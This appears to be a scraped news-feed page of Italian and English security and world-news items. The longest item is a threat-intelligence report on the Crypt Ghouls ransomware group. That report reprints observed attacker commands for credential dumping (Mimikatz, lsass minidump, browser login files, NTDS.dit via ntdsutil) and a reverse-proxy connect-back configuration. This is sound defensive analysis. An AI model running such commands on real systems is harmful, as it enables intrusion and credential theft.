Cyber-Attacco a ESET: Realtà o Falsa Accusa? Potrebbe esserci dietro il gruppo Handala
ESET ha negato le accuse secondo cui i suoi sistemi sarebbero stati compromessi dopo che lo specialista della sicurezza Kevin Beaumont ha rivelato una campagna malevola che sembrava essere effettuata utilizzando l’infrastruttura ESET.
Secondo il blog di Beaumont, uno dei dipendenti dell’azienda israeliana è rimasto vittima del malware dopo aver aperto un collegamento in un’e-mail presumibilmente inviata dal team ESET Advanced Threat Defense in Israele. L’email ha superato con successo i controlli DKIM e SPF per il dominio ESET, ma Google Workspace l’ha contrassegnata come pericolosa.
L’attacco è stato registrato l’8 ottobre ed era mirato a specialisti della sicurezza informatica in Israele. Il file dannoso è stato distribuito attraverso i server di ESET, con i destinatari che venivano avvertiti che l’attacco era stato effettuato da un aggressore “sostenuto dallo Stato”. Le vittime sono state inoltre incoraggiate a prendere parte al programma ESET Unleashed, che in realtà non esiste come iniziativa separata, sebbene sia menzionato nel marchio dell’azienda.
Il ricercatore ha trovato diverse DLL ESET e un file setup.exe dannoso nel file scaricato. Beaumont ha descritto il programma come un falso virus ransomware che imita il lavoro del famoso malware Yanluowang. Beaumont ha inoltre notato che i file sui dispositivi non possono essere recuperati perché si tratta di un Viper .
Durante l’esecuzione, il malware ha contattato anche un’organizzazione legata all’Iron Swords War Day, dedicato alla memoria delle vittime dell’attacco del 7 ottobre 2023. I fatti suggeriscono il possibile coinvolgimento di hacktivisti.
ESET ha negato la versione di Beaumont sull’hacking dell’ufficio israeliano dell’azienda. L’azienda ha sottolineato che l’incidente ha colpito un’organizzazione partner in Israele e che la campagna dannosa è stata bloccata in 10 minuti. ESET ha assicurato di aver bloccato con successo la minaccia e che i clienti sono al sicuro. La società ha inoltre confermato che sta collaborando con il proprio partner alle indagini e continua a monitorare la situazione.
La fonte dell’attività dannosa non è stata ancora identificata, ma i metodi utilizzati nell’attacco sono simili alle tattiche del gruppo filo-palestinese Handala. I ricercatori di Trellix hanno precedentemente riferito che Handala sta utilizzando attivamente dei dropper per attaccare le organizzazioni israeliane, rilevando centinaia di incidenti nell’arco di diverse settimane nel mese di luglio.
L'articolo Cyber-Attacco a ESET: Realtà o Falsa Accusa? Potrebbe esserci dietro il gruppo Handala proviene da il blog della sicurezza informatica.
Raccoon, l’app Friendica che riserva sorprese anche per gli utenti Mastodon
Raccoon for Friendica (in effetti c’è anche un’app Raccon for Lemmy) è un’app sorprendente e, benché sia ancora in versione “beta” (il file di installazione può essere scaricato qui), sembra un’app completamente matura, ricca di innovazioni e, sorprendentemente, riesce addirittura a offrire qualcosa di completamente nuovo agli utenti Mastodon! Abbiamo deciso perciò di scrivere questo…
L’Italia avrà la sua forza armata cyber? Risponde l’avv. Mele
@Notizie dall'Italia e dal mondo
[quote]Le cronache recenti che giungono a noi soprattutto dall’Ucraina e dal Medio Oriente hanno permesso di delineare meglio il ruolo reale e concreto che lo spazio cibernetico assume nei moderni conflitti. In tal senso, appare evidente come emerga con chiarezza dall’ombra delle approssimazioni e degli hashtag sui social
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This Week in Security: Quantum RSA Break, Out of Scope, and Spoofing Packets
Depending on who you ask, the big news this week is that quantum computing researchers out of China have broken RSA. And that’s true… sort of. There are multiple caveats, like the fact that this proof of concept is only factoring a 22-bit key. The minimum RSA size in use these days is 1024 bits. The other important note is that this wasn’t done on a general purpose quantum computer, but on a D-Wave quantum annealing machine.
First off, what is the difference between a general purpose and annealing quantum computer? Practically speaking, a quantum annealer can’t run Shor’s algorithm, the quantum algorithm that can factory large prime numbers in much sorter time than classical computers. While it’s pretty certain that this algorithm works from a mathematical perspective, it’s not at all clear that it will ever be possible to build effective quantum computers that can actually run it for the large numbers that are used in cryptography.
We’re going to vastly oversimplify the problem, and say that the challenge with general purpose quantum computing is that each q-bit is error prone, and the more q-bits a system has, the more errors it has. This error rate has proved to be a hard problem. The D-wave quantum annealing machine side-steps the issue by building a different sort of q-bits, that interact differently than in a general purpose quantum computer. The errors become much less of a problem, but you get a much less powerful primitive. And this is why annealing machines can’t run Shor’s algorithm.
The news this week is that researchers actually demonstrated a different technique on a D-wave machine that did actually factor an RSA key. From a research and engineering perspective, it is excellent work. But it doesn’t necessarily demonstrate the exponential speedup that would be required to break real-world RSA keys. To put it into perspective, you can literally crack a 22 bit RSA key by hand.
Zendesk Out of Scope
Here’s an example of two things. First off, a bug being out of scope for a bounty shouldn’t stop a researcher from working on a bug. Second, it’s worth being extra careful in how a bug bounty’s scope is set up, as sometimes bugs have unforeseen consequences. We’re talking here about Zendesk, a customer support tool and ticket manager. [Daniel] found an issue where an attacker could send an email to the support email address from a spoofed sender, and add an arbitrary email address to the ticket, gaining access to the entire ticket history.
Because the problem was related to email spoofing, and the Zendesk bounty program on HackerOne considers “SPF, DKIM, and DMARC” to be out of scope, the ticket was closed as “informative” and no bounty awarded. But [Daniel] wasn’t done. What interesting side effects could he find? How about triggering single sign on verification to go to the support email address? Since an Apple account can be used to sign on to slack, an attacker can create an apple account using the support email address, use the email spoof to get access to the created bug, and therefore the one-time code. Verify the account, and suddenly you have an Apple account at the target’s domain. [Daniel] used this to gain access to company Slack channels, but I’d guess this could be used for even more mayhem at some businesses.
Given that the original bug report was closed as “informational”, [Daniel] started reporting the bug to other companies that use Zendesk. And it paid off, netting more than $50,000 for the trouble. Zendesk never did pay a bounty on the find, but did ask [Daniel] to stop telling people about it.
Fortinet Fixed It
The good folks at Watchtowr Labs have the inside scoop on a recently fixed vulnerability in Fortinet’s FortiGate VPN appliance. It’s a good fix found internally by Fortinet, and gives us a good opportunity to talk about a class of vulnerability we haven’t ever covered. Namely, a format string vulnerability.
The printf()
function and its siblings are wonderful things. You give it a string, and it prints it to standard output. You give it a string that contains a format specifier, like %s
, and it will replace the specifier with the contents of a variable passed in as an additional argument. I write a lot of “printf debugging” code when trying to figure out a problem, that looks like printf("Processing %d bytes!\n", length);
What happens if the specifier doesn’t match the data type? Or if there is a specifier and no argument? You probably know the answer: Undefined behavior. Not great for device security. And in this case, it does lead to Remote Code Execution (RCE). The good news is that Fortinet found this internally, and the fix was quietly made available in February. The bad news is that attackers found it, and have since been actively using it in attacks.
Escape!
[ading2210] has the story of finding a pair of attack chains in Google Chrome/Chromium, where a malicious extension can access the chrome://policy
page, and define a custom “browser” command to use when accessing specific pages. There are two separate vulnerabilities that can be used to pull off this trick. One is a race condition where disallowed JS code can run before it’s disabled after a page reload, and the other is a crash in the page inspector view. That’s not a page non-developers have a habit of visiting, so the browser extension just pulls a fast one on install, launching a simple page that claims that something went wrong, asking the user to press f12 to troubleshoot.
ading.dev/blog/assets/chrome_s…
Multihomed Spoofing
At this point, most of us rely on Linux for our routers and firewalls. Whether you realize it or not, it’s extremely likely that that little magical box that delivers Internet goodness to your devices is a Linux machine, running iptables as the firewall. And while iptables is excellent at its job, it does have its share of quirks. Researchers at Anvil have the low down on ESTABLISHED
connection spoofing.
Iptables, when run on the boarder between networks, is often set to block incoming packets by default, and allow outgoing. The catch is that you probably want responses to your requests. To allow TCP connections to work both ways, it’s common to set iptables to allow ESTABLISHED
connections as well. If the IP addresses and ports all match, the packet is treated as ESTABLISHED
and allowed through. So what’s missing? Unless you explicitly request it, this firewall isn’t checking that the source port is the one you expected. Packets on one interface just might get matched to a connection on a different interface and passed through. That has some particularly interesting repercussions for guest networks and the like.
Bits and Bytes
On the topic of more secure Linux installs, [Shawn Chang] has thoughts on how to run a container more securely. The easy hint is to use Podman and run rootless containers. If you want even tighter protection, there are restrictions on system calls, selinux, and a few other tricks to think about.
Check the logs! That’s the first step to looking for a breach or infection, right? But what exactly are you looking for? The folks at Trunc have thoughts on this. The basic idea is to look for logins that don’t belong, IPs that shouldn’t be there, and other specific oddities. It’s a good checklist for trouble hunting.
And finally, the playlist from DEF CON 32 is available! Among the highlights are [Cory Doctorow] talking about the future of the Internet, [HD Moore] and [Rob King] talking about SSH, and lots lots more!
youtube.com/embed/videoseries?…
Il Malware ClickFix si evolve: Zoom e Google Meet si trasformano in strumenti di attacco
Nelle nuove campagne ClickFix, i truffatori attirano gli utenti su false pagine di Google Meet dove vengono mostrati falsi errori di connessione per diffondere malware che possono infettare i sistemi Windows e macOS.
ClickFix risale a maggio, quando Proofpoint ne ha segnalato per la prima volta l’utilizzo da parte del gruppo TA571. Gli attacchi hanno utilizzato falsi messaggi di errore in Google Chrome, Microsoft Word e OneDrive. Alle vittime è stato chiesto di incollare il codice nella riga di comando di PowerShell per risolvere il presunto problema, che ha portato all’infezione dei loro dispositivi.
Malware come DarkGate, Matanbuchus, NetSupport, Amadey Loader, XMRig, Lumma Stealer e altri sono stati distribuiti attraverso questo metodo. Nel mese di luglio, McAfee ha riscontrato un aumento nella frequenza di questi attacchi, soprattutto negli Stati Uniti e in Giappone.
Secondo un nuovo rapporto di Sekoia, le tattiche di ClickFix sono recentemente cambiate, con gli aggressori che utilizzano falsi inviti di Google Meet e inviano e-mail di phishing mirate alle società di spedizione e logistica.
Nuovi trucchi includono pagine Facebook false e discussioni GitHub false.
Sekoia collega anche le recenti campagne a due gruppi, Slavic Nation Empire (SNE) e Scamquerteo, che si ritiene facciano parte dei gruppi truffatori di criptovaluta Marko Polo e CryptoLove.
Gli attacchi tramite Google Meet sembrano particolarmente convincenti: gli aggressori inviano e-mail con link falsi che imitano quelli ufficiali:
- incontra[.]google[.]noi-unisciti[.]com
- incontra[.]google[.]web-join[.]com
- incontra[.]googie[.]com-unisciti[.]a noi
Dopo aver visitato tali pagine, agli utenti viene mostrato un messaggio relativo a un presunto problema con il microfono o le cuffie. Un tentativo di “correggere” l’errore attiva lo script ClickFix standard: il codice PowerShell dannoso viene eseguito tramite la riga di comando, scaricando malware dal dominio “googiedrivers[.]com”.
Per i dispositivi Windows, viene scaricato Stealc o Rhadamanthys e su macOS, AMOS Stealer è installato nel formato “.DMG” chiamato “Launcher_v194“. Oltre a Google Meet, gli aggressori utilizzano anche altre piattaforme per distribuire malware, tra cui Zoom, falsi lettori PDF, videogiochi falsi e progetti web3.
L'articolo Il Malware ClickFix si evolve: Zoom e Google Meet si trasformano in strumenti di attacco proviene da il blog della sicurezza informatica.
Dopo il 7 ottobre, la mia casa è diventata una borsa che porto con me
@Notizie dall'Italia e dal mondo
"Ho vissuto la mia Nakba personale e capisco perché migliaia di palestinesi sono fuggiti dalle loro case nel 1948. Ho preso la decisione più difficile della mia vita e ho lasciato Gaza, senza sapere che quello che portavo con me sarebbe stato tutto ciò che avrei mai
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SINWAR. Hamas conferma la sua uccisione. Netanyahu: “L’offensiva a Gaza continua”
@Notizie dall'Italia e dal mondo
Khalil Al Hayya ha confermato oggi la morte del leader, promettendo che Hamas continuerà a combattere fino al ritiro di Israele da Gaza
L'articolo SINWAR. Hamas conferma la sua uccisione. Netanyahu: “L’offensiva a Gaza continua” proviene da Pagine
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Ben(e)detto del 18 ottobre 2024
@Politica interna, europea e internazionale
L'articolo Ben(e)detto del 18 ottobre 2024 proviene da Fondazione Luigi Einaudi.
Politica interna, europea e internazionale reshared this.
Il Brasile chiede all’Argentina l’estradizione di decine di golpisti
@Notizie dall'Italia e dal mondo
La polizia federale brasiliana ha richiesto la cattura di decine di golpisti, vicini all'ex presidente Bolsonaro, che sono fuggiti in Argentina e in altri paesi
L'articolo Il Brasile chiede all’Argentina l’estradizione di decine di golpisti proviene da Pagine Esteri.
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MOTU Audio Interface Resurrected After Some Reverse Engineering
These days, when something electronic breaks, most folks just throw it away and get a new one. But as hackers, we prefer to find out what the actual problem is and fix it. [Bonsembiante] took that very tack when a MOTU brand audio interface wasn’t booting. As it turns out, a bit of investigative work led to a simple and viable fix.
The previous owner had tried to get the unit fixed multiple times without success. When it ended up on [Bonsembiante]’s bench, reverse engineering was the order of the day. Based around an embedded Linux system, there was lots to poke and prod at inside, it’s just that… the system wasn’t booting, wasn’t showing up over USB or Ethernet, or doing much of anything at all.
Extracting the firmware only revealed that the firmware was actually valid, so that was a dead end. However, after some work following the boot process along in Ghidra, with some external help, the problem was revealed. Something was causing the valid firmware to fail the bootloader’s checks—and with that fixed, the unit booted. You’ll have to read the article to get the full juicy story—it’s worth it!
We’ve seen [Bonsembiante’s] work here before, when they turned an old ADSL router into a functioning guitar pedal. Video after the break.
youtube.com/embed/TRn4vVytfE4?…
Analysis of the Crypt Ghouls group: continuing the investigation into a series of attacks on Russia
Last December, we discovered a new group targeting Russian businesses and government agencies with ransomware. Further investigation into this group’s activity suggests a connection to other groups currently targeting Russia. We have seen overlaps not only in indicators of compromise and tools, but also tactics, techniques, and procedures (TTPs). Moreover, the infrastructure partially overlaps across attacks.
The group under review has a toolkit that includes utilities such as Mimikatz, XenAllPasswordPro, PingCastle, Localtonet, resocks, AnyDesk, PsExec, and others. As the final payload, the group used the well-known ransomware LockBit 3.0 and Babuk. We have dubbed the group “Crypt Ghouls”.
Delivery and persistence
It was only in two of the group’s attacks that we were able to determine the initial access vector. The attackers used a contractor’s login information to connect to the victim’s internal systems via a VPN. The VPN connections were established from IP addresses associated with a Russian hosting provider’s network and a contractor’s network. Nowadays attackers are increasingly gaining initial access through their targets’ contractors. We suspect that contractors are compromised via VPN services or unpatched vulnerabilities.
To maintain access to the system, the attackers used the NSSM and Localtonet utilities. NSSM creates and manages services on a host, while Localtonet provides an encrypted tunnel for connecting to that host from an external network. Both utilities were downloaded directly from localtonet.com:
hxxp://localtonet.com/nssm-2.24.zip
hxxp://localtonet.com/download/localtonet-win-64.zip
Harvesting login credentials
XenAllPasswordPro
The attackers employed the XenAllPasswordPro tool to harvest a range of authentication data from the target system.
cmd.exe /Q /c c:\programdata\allinone2023\XenAllPasswordPro.exe -a
c:\programdata\report.html 1> \Windows\Temp\LNhkey 2>&1
cmd.exe /Q /c cmd /c rmdir /q /s c:\programdata\allinone2023 1>
\Windows\Temp\HYirzI 2>&1
This utility and the path to it, “\allinone2023\”, are characteristic of this series of attacks. Following is a list of locations for XenAllPasswordPro that we have observed in various victim infrastructures.
- c:\programdata\allinone2023\xenallpasswordpro.exe
- c:\programdata\dbg\allinone2023\xenallpasswordpro.exe
- c:\programdata\1c\allinone2023\xenallpasswordpro.exe
- $user\desktop\allinone2023\xenallpasswordpro.exe
- c:\intel\xenallpasswordpro.exe
The parent process for the commands above was wmiprvse.exe. Moreover, we found an Impacket artifact in command-line output. These are signs of using the Impacket
WmiExec.py module:C:\Windows\System32\wbem\wmiprvse.exe
In one Crypt Ghouls attack, we discovered a malicious CobInt backdoor loader. This is a telltale tool that allowed us to draw parallels with other campaigns. The CobInt downloader we encountered is a VBScript called
Intellpui.vbs that executes obfuscated PowerShell code. This code, in turn, communicates with a C2 server to load the CobInt backdoor into memory.
In other cases, hackers used RDP instead of WMI.
c:\windows\system32\rdpclip.exe
c:\programdata\1c\allinone2023\xenallpasswordpro.exe -a c:\programdata\1c\2c.txt
Additionally, we noticed that in certain attacks, the
HKLM\SECURITY registry hive was being saved to a temporary folder. The hive stores the host’s security policies and the secrets managed by the Local Security Authority.C:\Windows\System32\svchost.exe -k localService -p -s RemoteRegistry
RegSaveKey("$hklm\security","$temp\kjzcehld.tmp")
Mimikatz
We detected the use of the Mimikatz utility in some of the investigated attacks. One case involved injection of malicious code from the utility into the memory of the
rundll32.exe process.
In another, a Mimikatz command was used to dump the memory of the
lsass.exe process. This holds various login details of authenticated users:sekurlsa::minidump lsass.dmp
In this way, attackers used Mimikatz to extract victims’ credentials.
dumper.ps1
Crypt Ghouls ran an open-source PowerShell script that allowed them to dump Kerberos tickets from the LSA cache. The attackers renamed it to disguise it as a Group Policy script.
.\gpo_compliance.ps1
MiniDump Tool
MiniDump Tool is a utility designed to create a memory dump of a specified process. It helped Crypt Ghouls to extract login credentials from the memory of
lsass.exe. The attackers initiated this by running the following command:T.exe [lsass_pid]
[lsass_pid]The first argument is the process ID (PID). The second argument is the file name and directory to save the dump of the selected process to.
The MiniDump Tool creates a driver at the following path:
C:\Users\[username]\AppData\Local\Temp\kxxxxxxx.sys
Next, it runs the driver and passes to it a control code to read the memory of the process whose identifier is specified as the first argument, then it saves the dump in the system, in this case — in a file in the current directory while using the process ID as its name.
Login credentials from browsers
Crypt Ghouls also copied files containing credentials stored in browsers to a temporary directory:
cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User
Data\Default\Login Data" "C:\Windows\Temp\1713909129.8364425"
cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Google\Chrome\User
Data\Default\Login Data" "C:\Windows\Temp\1713909173.8739672"
cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User
Data\Default\Login Data" "C:\Windows\Temp\1713909181.5850394"
The commands on the hosts were run via WMI.
The attackers then used PowerShell to request a list of local users:
c:\windows\system32\wbem\wmiprvse.exe >
cmd.exe /Q /c powershell.exe "Get-LocalUser | Select name" 1>
\Windows\Temp\qnLJbp 2>&1"
NTDS.dit dump
Crypt Ghouls connected to the domain controller with compromised credentials via WMI. After establishing the connection, they tried to save the
NTDS.dit dump. The attackers leveraged an existing scheduler task to obtain the dump. They modified the task four times. First, they obtained the NTDS.dit dump with the Ntdsutil utility. Then they archived the folder containing the dump and deleted the folder. The final change to the scheduler task restored its original value.powershell.exe out-file -inputobject (ntdsutil.exe 'ac i ntds' 'ifm'
'create full c:\programdata\activedirectory' q q) -encoding utf8 -
filepath c:\programdata\microsoft\vault\dabbf27c-37ef-9946-a3d3-
7aaaebce7577
powershell.exe out-file -inputobject (7zr.exe a c:\programdata\ad.7z
c:\programdata\activedirectory) -encoding utf8 -filepath
c:\programdata\microsoft\vault\4c6b60eb-eafe-ab9b-adfa-ed24b2398e0c
powershell.exe out-file -inputobject (cmd /c rmdir /q /s
c:\programdata\activedirectory) - encoding utf8 -filepath
c:\programdata\microsoft\vault\a5ad25f1-f569-6247-0722- ad6fe54e350f
The 7-Zip utility was also downloaded from GitHub:
github.com/ip7z/7zip/releases/…
However, we did not detect any further data exfiltration after the archiving.
Network reconnaissance and spread
Crypt Ghouls used the PingCastle utility (MD5: F4A84D6F1CAF0875B50135423D04139F) to collect information about the infrastructure of the domain they resided in. Additionally, the attackers periodically scanned the network using the legitimate utility SoftPerfect Network Scanner to identify open ports and network shares.
As we mentioned above, the attackers used the
WmiExec.py Impacket module for network navigation. We found that two of the targets had PAExec, a remote command tool, running on their systems at some point:c:\windows\paexec-[xxxxx]-[source_host_redacted].exe -service
cmd
Infrastructure
Crypt Ghouls uses several remote access utilities. AnyDesk was the most commonly used tool according to our research, but the attackers employed a variety of other methods as well. The table below presents the names of the utilities and the directories where they were found.
Name | Directory |
AnyDesk | C:\Users\[redacted]\Downloads\AnyDesk.exe |
Localtonet | C:\Windows\Temp\localtonet.exe |
resocks | /usr/sbin/xfs-modules |
The IP addresses used for remote connections to AnyDesk and Localtonet belonged to a Surfshark VPN subnet.
Resocks is a reverse SOCKS5 proxy for tunneling traffic. While investigating this group’s activity, we found a proxy sample that was configured to use the IP address 91.142.73[.]178, which is part of the hosting provider VDSina’s network.
Below are the notable parameters of the resocks sample, which provide additional context for the research:
-X main.defaultConnectBackAddress=91.142.73[.]178 -X
main.defaultConnectionKey=CzKDvHM8UGE/QtjuF2SSkJzaVmRpjNipdWlbTzFry6o
DLL sideloading
The malicious actor used the DLL sideloading technique by placing a legitimate Windows installer management application,
dism.exe, and a malicious loader, dismcore.dll, in the same folder: c:\ProgramData\oracle\.
The
dismcore.dll loader attempted to locate the file odbcconf.xml, which contained the payload, but we were unable to retrieve that file.
File encryption
The attackers encrypted data with publicly available versions of the popular LockBit 3.0 (for Windows systems) and Babuk (for Linux) malware. The LockBit sample we analyzed was configured with commands to encrypt local drives, terminate specific processes and services, disable Windows Defender, and delete event logs. The ransomware added system directories, as well as a folder named
intel where the attackers loaded tools to harvest credentials, to the encryption exclusions list.
A snippet of the LockBit 3.0 sample’s configuration
We noticed something strange about how a victim’s files were encrypted. First, LockBit encrypted files with specific extensions, as defined in its sample configuration. These are the files that the attackers may find most valuable. Besides these, the malware encrypts files in the recycle bin while inserting random characters in these. Beyond the primary algorithm, we found a cycle that systematically renamed the original file in the recycle bin. This process iterated through every letter of the English alphabet, continuing until it reached the last one. This type of encryption makes it really hard, or even impossible, to recover the user’s files.
Below is an example of how this appears in logs:
File Renamed c:\$recycle.bin\[redacted]\desktop.ini
c:\$recycle.bin\[redacted]\aaaaaaaaaaa
File Renamed c:\$recycle.bin\[redacted]\aaaaaaaaaaa
c:\$recycle.bin\[redacted]\bbbbbbbbbbb
File Renamed c:\$recycle.bin\[redacted]\bbbbbbbbbbb
c:\$recycle.bin\[redacted]\ccccccccccc
File Renamed c:\$recycle.bin\[redacted]\ccccccccccc
c:\$recycle.bin\[redacted]\ddddddddddd
The algorithm then attempts to delete the last version of
c:\$recycle.bin\[redacted]\zzzzzzzzzzz.
The attackers leave a ransom note with a link containing their ID in the Session messaging service for future contact:
Session supports end-to-end encryption, which minimizes the risk of data breaches. The developers claim their messaging service is built to guarantee complete privacy. Session has been used by other ransomware groups, such as GhostLocker, SEXi, and MorLock, in their attacks.
Additionally, attackers targeted ESXi servers with the Babuk ransomware. They would connect to the ESXi server via SSH, upload Babuk, and initiate the encryption process for the files within the virtual machines:
/tmp/lock.out "/vmfs/volumes/[redacted]"
We believe the goal of the attackers was to disrupt the targeted organizations’ operations, besides financial gain.
Links to other groups
We are seeing a lot of overlap in the tools and techniques used by cybercriminals targeting Russian businesses and government agencies. Below, we outline the key similarities we found in attacks by different groups.
MorLock
MorLock activities, as investigated by F.A.C.C.T., shares many features with several of the attacks we analyzed for this report. The groups share most of the tools they use: SoftPerfect Network Scanner, XenAllPasswordPro, AnyDesk, PingCastle, Localtonet, NSSM, resocks, LockBit 3.0, and Babuk.
The file and folder names used in attacks by both groups also show similarities. Thus we found a resocks utility named “xfs-healthcheck”, a name that follows the same template as the resocks names on the list of indicators published by F.A.C.C.T.: [xxx]-healthcheck. We noticed a further similarity when studying the XenAllPasswordPro utility: in MorLock attacks, it was located in a directory named “allinone2023”.
Furthermore, we checked the MorLock infrastructure as reported by F.A.C.C.T., only to find that the group also used Surfshark VPN and the VDSina hosting services provider.
BlackJack
While investigating the utilities used in Crypt Ghouls attacks, we found an overlap with the toolkit employed by the BlackJack group, which also used XenAllPasswordPro. This caught our attention, as XenAllPasswordPro is not the most popular tool among cybercriminals despite being freely available.
Twelve
We have seen XenAllPasswordPro used in attacks by Twelve too. Furthermore, we discovered
Intellpui.vbs, a loader for CobInt, also used by Twelve, on one of the systems attacked by Crypt Ghouls.
Shedding Zmiy
Shedding Zmiy is a group associated with the (Ex)Cobalt activity cluster. We found a further overlap in a report by Solar 4RAYS on this group-related incidents, namely the use of DLL sideloading with the
dismcore.dll malicious loader. The report mentioned other familiar utilities and malware: resocks, SoftPerfect Network Scanner, and CobInt. In addition, Shedding Zmiy used VDSina to host its command-and-control servers.
The similarities between the groups described above led to the conclusion that these attacks overlap with the activity of Crypt Ghouls. Our analysis of cybercriminal tools and tactics suggests that different groups may be collaborating, sharing resources, or exchanging intelligence. Other vendors have found evidence of the (Ex)Cobalt cluster members participating in these groups’ activities, and our analysis confirms this. Right now, we cannot say for sure that these campaigns are connected, but we anticipate their number will increase further. We will continue to monitor activity targeting Russian organizations.
Victims
Russian government agencies as well as mining, energy, finance, and retail companies have fallen victim to the Crypt Ghouls group.
Conclusion
Crypt Ghouls is another group attacking Russia. Cybercriminals are leveraging compromised credentials, often belonging to subcontractors, and popular open-source tools. These include modified configurations of the LockBit 3.0 and Babuk ransomware, whose builders and source code are publicly available. As the number of attackers using leaked builds increases, identifying the perpetrators of threats becomes increasingly difficult. The shared toolkit used in attacks on Russia makes it challenging to pinpoint the specific hacktivist groups involved. In the attacks carried out by the Crypt Ghouls, we have identified components of infrastructure and a variety of popular tools that are also used by many other groups. This suggests that the current actors are not only sharing knowledge but also their toolkits. All of this only makes it more difficult to identify specific malicious actors behind the wave of attacks directed at Russian organizations.
Indicators of compromise
Note: Network addresses specified in this section are valid at the time of publishing, but may change over time.
SHA256:
File paths:
С:\ProgramData\oracle\dismcore.dll
odbcconf.xml – payload
C:\Users\User\Downloads\dumper.ps1 – dumper.ps1
C:\Users\User\Desktop\x86\x64\mimikatz.exe
C:\programdata\1c\allinone2023\xenallpasswordpro.exe
С:\programdata\allinone2023\xenallpasswordpro.exe
С:\programdata\dbg\allinone2023\xenallpasswordpro.exe
С:\programdata\1c\allinone2023\xenallpasswordpro.exe
$user\desktop\allinone2023\xenallpasswordpro.exe
C:\programdata\allinone2023\XenAllPasswordPro.exe
C:\Windows\Temp\nssm-2.24\win64\nssm.exe
C:\Users\[redacted]\Downloads\AnyDesk.exe
C:\Windows\Temp\localtonet.exe
C:\ProgramData\t.exe (MiniDump Tool)
C:\Users\User\AppData\Local\Temp\kxxxxxxx.sys
C:\Windows\Temp\kxxxxxxx.sys
/tmp/lock.out (Babuk)
/usr/sbin/xfs-healthcheck (resocks)
/usr/sbin/xfs-modules (resocks)
c:\programdata\intell\intellpui.vbs (CobInt)
IP addresses and URLs:
45.11.181[.]152 – netstaticpoints[.]com – CobInt C2
169.150.197[.]10 – SurfShark VPN
169.150.197[.]18 – SurfShark VPN
91.142.73[.]178 – VDSINA-NET
91.142.74[.]87 – VDSINA-NET
95.142.47[.]157 – VDSINA-NET
185.231.155[.]124 – VDSINA-NET
Utilities:
XenAllPasswordPro
PsExec
PAExec
SoftPerfect Network Scanner
Localtonet
PingCastle
Mimikatz
AnyDesk
NSSM
resocks
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